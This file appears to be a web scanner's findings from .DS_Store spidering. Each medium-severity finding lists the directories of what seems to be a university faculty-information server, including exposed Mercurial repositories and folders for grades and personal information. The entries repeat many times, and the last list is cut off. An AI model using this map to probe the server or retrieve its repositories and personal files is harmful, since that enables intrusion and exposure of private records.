Found 128 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev/downloads /mag-dev/imports /mag-dev/reports /mag-dev-smpl-routr-pub /mag-dev-smpl-routr-pub/public /mag-pub /mag-test /MyCCCV /MyCCCV_mag /MyCCCV_mag/.hg /MyCCCV_mag/.hg/cache /MyCCCV_mag/.hg/store /MyCCCV_mag/common /MyCCCV_mag/export /MyCCCV_mag/MyDATA /MyCCCV_mag/MyDATA/academic_work /MyCCCV_mag/MyDATA/account /MyCCCV_mag/MyDATA/activities /MyCCCV_mag/MyDATA/admin /MyCCCV_mag/MyDATA/contributions /MyCCCV_mag/MyDATA/employment /MyCCCV_mag/MyDATA/lib /MyCCCV_mag/MyDATA/personal_info /MyCCCV_mag/MyDATA/reports /MyCCCV_mag/MyDATA/user_profile /MyCCCV_mag/MyDATA/welcome /MyCCCV_mag/ofas /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /OFIS_mag/ofis /OFIS_mag/ofis/lib /OFIS_mag/ofis/lib/sections /ofis_php_dev /ofis_php_dev/caddy-template /ofis_php_dev/crs-enrol-api /ofis_php_dev/csv-proc-dev /ofis_php_dev/csv-proc-dev/archive /ofis_php_dev/csv-proc-dev/classes /ofis_php_dev/csv-proc-dev/common /ofis_php_dev/csv-proc-dev/vendor /ofis_php_dev/eng-research-2 /ofis_php_dev/eng-research-3 /ofis_php_dev/eng-research-3/.hg /ofis_php_dev/eng-research-3/Banners /ofis_php_dev/eng-research-3/images /ofis_php_dev/eng_research-2 /ofis_php_dev/eng_research-2/Banners /ofis_php_dev/eng_research-2/images /ofis_php_dev/eng_research-2/ofis /ofis_php_dev/engevals-coop /ofis_php_dev/extractHRWorkday /ofis_php_dev/f3-test /ofis_php_dev/f3-test/common /ofis_php_dev/f3-test/config.ini /ofis_php_dev/f3-test/inc-test /ofis_php_dev/f3-test/lib /ofis_php_dev/f3-test/lib/db /ofis_php_dev/f3-test/lib/web /ofis_php_dev/f3-test/tmp /ofis_php_dev/f3-test/ui /ofis_php_dev/f3-test/ui/css /ofis_php_dev/f3-test/ui/images /ofis_php_dev/f3-test/vendor /ofis_php_dev/fli-lat /ofis_php_dev/fli-lat-bs-repo /ofis_php_dev/fli-lat-fnd /ofis_php_dev/fli-lat-html-repo /ofis_php_dev/fli-lat-html-repo1 /ofis_php_dev/fli-php /ofis_php_dev/guis /ofis_php_dev/ldap-daniels /ofis_php_dev/msg-test /ofis_php_dev/ofis-bibtex /ofis_php_dev/ofis-for-testing /ofis_php_dev/ofis-login /ofis_php_dev/ofis-mac /ofis_php_dev/ofis-phones /ofis_php_dev/ofis-refactor /ofis_php_dev/ofis-to-examine /ofis_php_dev/OFIS_56-7x /ofis_php_dev/OFIS_mag /ofis_php_dev/php-router /ofis_php_dev/php-router-1 /ofis_php_dev/php-tests /ofis_php_dev/r66-php /ofis_php_dev/ranking-setup /ofis_php_dev/rectorphp-tmp /ofis_php_dev/rtfTableRenderer /ofis_php_dev/sandbox /ofis_php_dev/sandbox1 /ofis_php_dev/sandbox2
Severity: medium
Fingerprint: 5f32cf5d6962f09c8c9af8b78c9af8b769d3006a69ac06a570132d42c7f69bf9
Found 128 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev/downloads /mag-dev/imports /mag-dev/reports /mag-dev-smpl-routr-pub /mag-dev-smpl-routr-pub/public /mag-pub /mag-test /MyCCCV /MyCCCV_mag /MyCCCV_mag/.hg /MyCCCV_mag/.hg/cache /MyCCCV_mag/.hg/store /MyCCCV_mag/common /MyCCCV_mag/export /MyCCCV_mag/MyDATA /MyCCCV_mag/MyDATA/academic_work /MyCCCV_mag/MyDATA/account /MyCCCV_mag/MyDATA/activities /MyCCCV_mag/MyDATA/admin /MyCCCV_mag/MyDATA/contributions /MyCCCV_mag/MyDATA/employment /MyCCCV_mag/MyDATA/lib /MyCCCV_mag/MyDATA/personal_info /MyCCCV_mag/MyDATA/reports /MyCCCV_mag/MyDATA/user_profile /MyCCCV_mag/MyDATA/welcome /MyCCCV_mag/ofas /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /OFIS_mag/ofis /OFIS_mag/ofis/lib /OFIS_mag/ofis/lib/sections /ofis_php_dev /ofis_php_dev/caddy-template /ofis_php_dev/crs-enrol-api /ofis_php_dev/csv-proc-dev /ofis_php_dev/csv-proc-dev/archive /ofis_php_dev/csv-proc-dev/classes /ofis_php_dev/csv-proc-dev/common /ofis_php_dev/csv-proc-dev/vendor /ofis_php_dev/eng-research-2 /ofis_php_dev/eng-research-3 /ofis_php_dev/eng_research-2 /ofis_php_dev/engevals-coop /ofis_php_dev/extractHRWorkday /ofis_php_dev/f3-test /ofis_php_dev/fli-lat /ofis_php_dev/fli-lat-bs-repo /ofis_php_dev/fli-lat-fnd /ofis_php_dev/fli-lat-html-repo /ofis_php_dev/fli-lat-html-repo1 /ofis_php_dev/fli-php /ofis_php_dev/guis /ofis_php_dev/ldap-daniels /ofis_php_dev/msg-test /ofis_php_dev/ofis-bibtex /ofis_php_dev/ofis-for-testing /ofis_php_dev/ofis-login /ofis_php_dev/ofis-mac /ofis_php_dev/ofis-phones /ofis_php_dev/ofis-refactor /ofis_php_dev/ofis-to-examine /ofis_php_dev/OFIS_56-7x /ofis_php_dev/OFIS_mag /ofis_php_dev/php-router /ofis_php_dev/php-router-1 /ofis_php_dev/php-tests /ofis_php_dev/r66-php /ofis_php_dev/ranking-setup /ofis_php_dev/rectorphp-tmp /ofis_php_dev/rtfTableRenderer /ofis_php_dev/sandbox /ofis_php_dev/sandbox1 /ofis_php_dev/sandbox2 /ofis_php_dev/tania /ofis_php_dev/test /ofis_php_dev/ttsf-test /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016
Severity: medium
Fingerprint: 5f32cf5d6962f09c8c9af8b78c9af8b769d3006a69ac06a570132d42ef83d7b6
Found 128 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev/downloads /mag-dev/imports /mag-dev/reports /mag-dev-smpl-routr-pub /mag-dev-smpl-routr-pub/public /mag-pub /mag-test /MyCCCV /MyCCCV_mag /MyCCCV_mag/.hg /MyCCCV_mag/.hg/cache /MyCCCV_mag/.hg/store /MyCCCV_mag/common /MyCCCV_mag/export /MyCCCV_mag/MyDATA /MyCCCV_mag/MyDATA/academic_work /MyCCCV_mag/MyDATA/account /MyCCCV_mag/MyDATA/activities /MyCCCV_mag/MyDATA/admin /MyCCCV_mag/MyDATA/contributions /MyCCCV_mag/MyDATA/employment /MyCCCV_mag/MyDATA/lib /MyCCCV_mag/MyDATA/personal_info /MyCCCV_mag/MyDATA/reports /MyCCCV_mag/MyDATA/user_profile /MyCCCV_mag/MyDATA/welcome /MyCCCV_mag/ofas /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /OFIS_mag/ofis /OFIS_mag/ofis/lib /OFIS_mag/ofis/lib/sections /ofis_php_dev /ofis_php_dev/caddy-template /ofis_php_dev/crs-enrol-api /ofis_php_dev/csv-proc-dev /ofis_php_dev/csv-proc-dev/archive /ofis_php_dev/csv-proc-dev/classes /ofis_php_dev/csv-proc-dev/common /ofis_php_dev/csv-proc-dev/vendor /ofis_php_dev/eng-research-2 /ofis_php_dev/eng-research-3 /ofis_php_dev/eng-research-3/.hg /ofis_php_dev/eng-research-3/Banners /ofis_php_dev/eng-research-3/images /ofis_php_dev/eng_research-2 /ofis_php_dev/eng_research-2/Banners /ofis_php_dev/eng_research-2/images /ofis_php_dev/eng_research-2/ofis /ofis_php_dev/engevals-coop /ofis_php_dev/extractHRWorkday /ofis_php_dev/f3-test /ofis_php_dev/fli-lat /ofis_php_dev/fli-lat-bs-repo /ofis_php_dev/fli-lat-fnd /ofis_php_dev/fli-lat-html-repo /ofis_php_dev/fli-lat-html-repo1 /ofis_php_dev/fli-php /ofis_php_dev/guis /ofis_php_dev/ldap-daniels /ofis_php_dev/msg-test /ofis_php_dev/ofis-bibtex /ofis_php_dev/ofis-for-testing /ofis_php_dev/ofis-login /ofis_php_dev/ofis-mac /ofis_php_dev/ofis-phones /ofis_php_dev/ofis-refactor /ofis_php_dev/ofis-to-examine /ofis_php_dev/OFIS_56-7x /ofis_php_dev/OFIS_mag /ofis_php_dev/php-router /ofis_php_dev/php-router-1 /ofis_php_dev/php-tests /ofis_php_dev/r66-php /ofis_php_dev/ranking-setup /ofis_php_dev/rectorphp-tmp /ofis_php_dev/rtfTableRenderer /ofis_php_dev/sandbox /ofis_php_dev/sandbox1 /ofis_php_dev/sandbox2 /ofis_php_dev/tania /ofis_php_dev/test /ofis_php_dev/ttsf-test /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive
Severity: medium
Fingerprint: 5f32cf5d6962f09c20f30ab920f30ab9fdf7e88426698de3c891e36006a808ed
Found 67 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev-smpl-routr-pub /mag-pub /mag-test /MyCCCV /MyCCCV_mag /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib /tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09c7d264b917d264b915214bcbc04b5416b605215b8ce9bb748
Found 52 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /fare-1 /fare-repo /grades-proc /grades-proc-old /iap /import_ccv /mag-dev /mag-dev-smpl-routr-pub /mag-pub /mag-test /MyCCCV /MyCCCV_mag /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib /tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09cdc8bf8eddc8bf8ed7b3182d04d0b1f6fb862fd54dcd9fb5c
Found 89 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev/downloads /mag-dev/imports /mag-dev/reports /mag-dev-smpl-routr-pub /mag-dev-smpl-routr-pub/public /mag-pub /mag-test /MyCCCV /MyCCCV_mag /MyCCCV_mag/.hg /MyCCCV_mag/.hg/cache /MyCCCV_mag/.hg/store /MyCCCV_mag/common /MyCCCV_mag/export /MyCCCV_mag/MyDATA /MyCCCV_mag/MyDATA/academic_work /MyCCCV_mag/MyDATA/account /MyCCCV_mag/MyDATA/activities /MyCCCV_mag/MyDATA/admin /MyCCCV_mag/MyDATA/contributions /MyCCCV_mag/MyDATA/employment /MyCCCV_mag/MyDATA/lib /MyCCCV_mag/MyDATA/personal_info /MyCCCV_mag/MyDATA/reports /MyCCCV_mag/MyDATA/user_profile /MyCCCV_mag/MyDATA/welcome /MyCCCV_mag/ofas /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib /tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09c7b6beb587b6beb58d30dbe492af196641d9f1b634fef3461
Found 57 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /grades-proc /grades-proc-old /iap /import_ccv /mag-dev /mag-dev-smpl-routr-pub /mag-pub /mag-test /MyCCCV /MyCCCV_mag /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib /tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09c8c9af8b78c9af8b769d3006a69ac06a570132d423c7c47a7
Found 128 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev/downloads /mag-dev/imports /mag-dev/reports /mag-dev-smpl-routr-pub /mag-dev-smpl-routr-pub/public /mag-pub /mag-test /MyCCCV /MyCCCV_mag /MyCCCV_mag/.hg /MyCCCV_mag/.hg/cache /MyCCCV_mag/.hg/store /MyCCCV_mag/common /MyCCCV_mag/export /MyCCCV_mag/MyDATA /MyCCCV_mag/MyDATA/academic_work /MyCCCV_mag/MyDATA/account /MyCCCV_mag/MyDATA/activities /MyCCCV_mag/MyDATA/admin /MyCCCV_mag/MyDATA/contributions /MyCCCV_mag/MyDATA/employment /MyCCCV_mag/MyDATA/lib /MyCCCV_mag/MyDATA/personal_info /MyCCCV_mag/MyDATA/reports /MyCCCV_mag/MyDATA/user_profile /MyCCCV_mag/MyDATA/welcome /MyCCCV_mag/ofas /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /OFIS_mag/ofis /OFIS_mag/ofis/lib /OFIS_mag/ofis/lib/sections /ofis_php_dev /ofis_php_dev/caddy-template /ofis_php_dev/crs-enrol-api /ofis_php_dev/csv-proc-dev /ofis_php_dev/csv-proc-dev/archive /ofis_php_dev/csv-proc-dev/classes /ofis_php_dev/csv-proc-dev/common /ofis_php_dev/csv-proc-dev/vendor /ofis_php_dev/eng-research-2 /ofis_php_dev/eng-research-3 /ofis_php_dev/eng-research-3/.hg /ofis_php_dev/eng-research-3/Banners /ofis_php_dev/eng-research-3/images /ofis_php_dev/eng_research-2 /ofis_php_dev/eng_research-2/Banners /ofis_php_dev/eng_research-2/images /ofis_php_dev/eng_research-2/ofis /ofis_php_dev/engevals-coop /ofis_php_dev/extractHRWorkday /ofis_php_dev/f3-test /ofis_php_dev/f3-test/common /ofis_php_dev/f3-test/config.ini /ofis_php_dev/f3-test/inc-test /ofis_php_dev/f3-test/lib /ofis_php_dev/f3-test/lib/db /ofis_php_dev/f3-test/lib/web /ofis_php_dev/f3-test/tmp /ofis_php_dev/f3-test/ui /ofis_php_dev/f3-test/ui/css /ofis_php_dev/f3-test/ui/images /ofis_php_dev/f3-test/vendor /ofis_php_dev/f3-test/vendor/composer /ofis_php_dev/fli-lat /ofis_php_dev/fli-lat-bs-repo /ofis_php_dev/fli-lat-bs-repo/tmp /ofis_php_dev/fli-lat-fnd /ofis_php_dev/fli-lat-fnd/tmp /ofis_php_dev/fli-lat-fnd/vendor /ofis_php_dev/fli-lat-html-repo /ofis_php_dev/fli-lat-html-repo1 /ofis_php_dev/fli-lat-html-repo1/tmp /ofis_php_dev/fli-php /ofis_php_dev/guis /ofis_php_dev/ldap-daniels /ofis_php_dev/msg-test /ofis_php_dev/ofis-bibtex /ofis_php_dev/ofis-for-testing /ofis_php_dev/ofis-login /ofis_php_dev/ofis-login/common /ofis_php_dev/ofis-login/public /ofis_php_dev/ofis-mac /ofis_php_dev/ofis-mac/common /ofis_php_dev/ofis-mac/export /ofis_php_dev/ofis-mac/ofas /ofis_php_dev/ofis-mac/ofis /ofis_php_dev/ofis-phones /ofis_php_dev/ofis-refactor /ofis_php_dev/ofis-to-examine /ofis_php_dev/OFIS_56-7x
Severity: medium
Fingerprint: 5f32cf5d6962f09c8e4417c08e4417c043f895312eb2fdbcb9b30ceb84eb6d47
Found 62 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc-old /iap /import_ccv /mag-dev /mag-dev-smpl-routr-pub /mag-pub /mag-test /MyCCCV /MyCCCV_mag /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib /tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09ce9dbcc92e9dbcc923f41fc6b6a3bca7af77b5cd92d3570a2
Found 60 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /grades-proc /grades-proc-old /iap /import_ccv /mag-dev /mag-dev-smpl-routr-pub /mag-pub /mag-test /MyCCCV /MyCCCV_mag /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib /tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09c75d69a7675d69a764a4e227760a431b6ef0f2a8d9cfe9e66
Found 51 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /erick /extractGSO /faculty-career /fare-1 /fare-repo /grades-proc /grades-proc-old /iap /import_ccv /mag-dev /mag-dev-smpl-routr-pub /mag-pub /mag-test /MyCCCV /MyCCCV_mag /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib /tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09c8c9af8b78c9af8b769d3006a69ac06a570132d42f6004c07
Found 128 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev/downloads /mag-dev/imports /mag-dev/reports /mag-dev-smpl-routr-pub /mag-dev-smpl-routr-pub/public /mag-pub /mag-test /MyCCCV /MyCCCV_mag /MyCCCV_mag/.hg /MyCCCV_mag/.hg/cache /MyCCCV_mag/.hg/store /MyCCCV_mag/common /MyCCCV_mag/export /MyCCCV_mag/MyDATA /MyCCCV_mag/MyDATA/academic_work /MyCCCV_mag/MyDATA/account /MyCCCV_mag/MyDATA/activities /MyCCCV_mag/MyDATA/admin /MyCCCV_mag/MyDATA/contributions /MyCCCV_mag/MyDATA/employment /MyCCCV_mag/MyDATA/lib /MyCCCV_mag/MyDATA/personal_info /MyCCCV_mag/MyDATA/reports /MyCCCV_mag/MyDATA/user_profile /MyCCCV_mag/MyDATA/welcome /MyCCCV_mag/ofas /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /OFIS_mag/ofis /OFIS_mag/ofis/lib /OFIS_mag/ofis/lib/sections /ofis_php_dev /ofis_php_dev/caddy-template /ofis_php_dev/crs-enrol-api /ofis_php_dev/csv-proc-dev /ofis_php_dev/csv-proc-dev/archive /ofis_php_dev/csv-proc-dev/classes /ofis_php_dev/csv-proc-dev/common /ofis_php_dev/csv-proc-dev/vendor /ofis_php_dev/eng-research-2 /ofis_php_dev/eng-research-3 /ofis_php_dev/eng-research-3/.hg /ofis_php_dev/eng-research-3/Banners /ofis_php_dev/eng-research-3/images /ofis_php_dev/eng_research-2 /ofis_php_dev/eng_research-2/Banners /ofis_php_dev/eng_research-2/images /ofis_php_dev/eng_research-2/ofis /ofis_php_dev/engevals-coop /ofis_php_dev/extractHRWorkday /ofis_php_dev/f3-test /ofis_php_dev/f3-test/common /ofis_php_dev/f3-test/config.ini /ofis_php_dev/f3-test/inc-test /ofis_php_dev/f3-test/lib /ofis_php_dev/f3-test/lib/db /ofis_php_dev/f3-test/lib/web /ofis_php_dev/f3-test/tmp /ofis_php_dev/f3-test/ui /ofis_php_dev/f3-test/ui/css /ofis_php_dev/f3-test/ui/images /ofis_php_dev/f3-test/vendor /ofis_php_dev/f3-test/vendor/composer /ofis_php_dev/fli-lat /ofis_php_dev/fli-lat-bs-repo /ofis_php_dev/fli-lat-fnd /ofis_php_dev/fli-lat-html-repo /ofis_php_dev/fli-lat-html-repo1 /ofis_php_dev/fli-php /ofis_php_dev/guis /ofis_php_dev/ldap-daniels /ofis_php_dev/msg-test /ofis_php_dev/ofis-bibtex /ofis_php_dev/ofis-for-testing /ofis_php_dev/ofis-login /ofis_php_dev/ofis-mac /ofis_php_dev/ofis-phones /ofis_php_dev/ofis-refactor /ofis_php_dev/ofis-to-examine /ofis_php_dev/OFIS_56-7x /ofis_php_dev/OFIS_mag /ofis_php_dev/php-router /ofis_php_dev/php-router-1 /ofis_php_dev/php-tests /ofis_php_dev/r66-php /ofis_php_dev/ranking-setup /ofis_php_dev/rectorphp-tmp /ofis_php_dev/rtfTableRenderer /ofis_php_dev/sandbox /ofis_php_dev/sandbox1
Severity: medium
Fingerprint: 5f32cf5d6962f09c74247ea574247ea5f279b0086549b0b789bb68cca5b61a14
Found 56 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /grades-proc /grades-proc-old /iap /import_ccv /mag-dev /mag-dev-smpl-routr-pub /mag-pub /mag-test /MyCCCV /MyCCCV_mag /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib /tutorial
Severity: medium
Fingerprint: 5f32cf5d6962f09ca728a86fa728a86f62eb83a2ffccf36d3d6d9d7a5f35f27c
Found 76 files trough .DS_Store spidering: /eio_sql_dev /eio_sql_dev/1151-jerry /eio_sql_dev/1161-taylor /eng_research /eng_research/.hg /eng_research/.hg/cache /eng_research/.hg/store /eng_research/images /engaccred /engaccred/engaccred-oat /erick /extractGSO /faculty-career /faculty-career/sql1 /faculty-career/sql1/.hg /faculty-career/sql1/.hg/cache /faculty-career/sql1/.hg/store /faculty-career/sql1/.hg/wcache /faculty-career/sql2 /faculty-career/sql3 /faculty-career/sql4 /fare-1 /fare-repo /fare-repo/Banners /fare-repo/images /grades-proc /grades-proc/classes /grades-proc/downloads /grades-proc/imports /grades-proc/reports /grades-proc/uploads /grades-proc-old /iap /import_ccv /mag-dev /mag-dev/downloads /mag-dev/imports /mag-dev/reports /mag-dev-smpl-routr-pub /mag-dev-smpl-routr-pub/public /mag-pub /mag-test /MyCCCV /MyCCCV_mag /MyCCCV_mag/.hg /MyCCCV_mag/common /MyCCCV_mag/export /MyCCCV_mag/MyDATA /MyCCCV_mag/ofas /OFIS /OFIS archives /OFIS v1.6 /OFIS_mag /ofis_php_dev /ofis_py_dev /ofis_raw_data /ofis_sql_dev /ofis_templates_dev /OFIS_test /ofisDbStruct /ofisDocs /ofisDocsArchive /oor /phpdoc.bat /PhpDocumentor /profile /ranking /ranking-2016 /ranking-repo-2020 /ranking_csv_proc-repo /ranking_db /refBase /Templates /test /thirdPartyLib 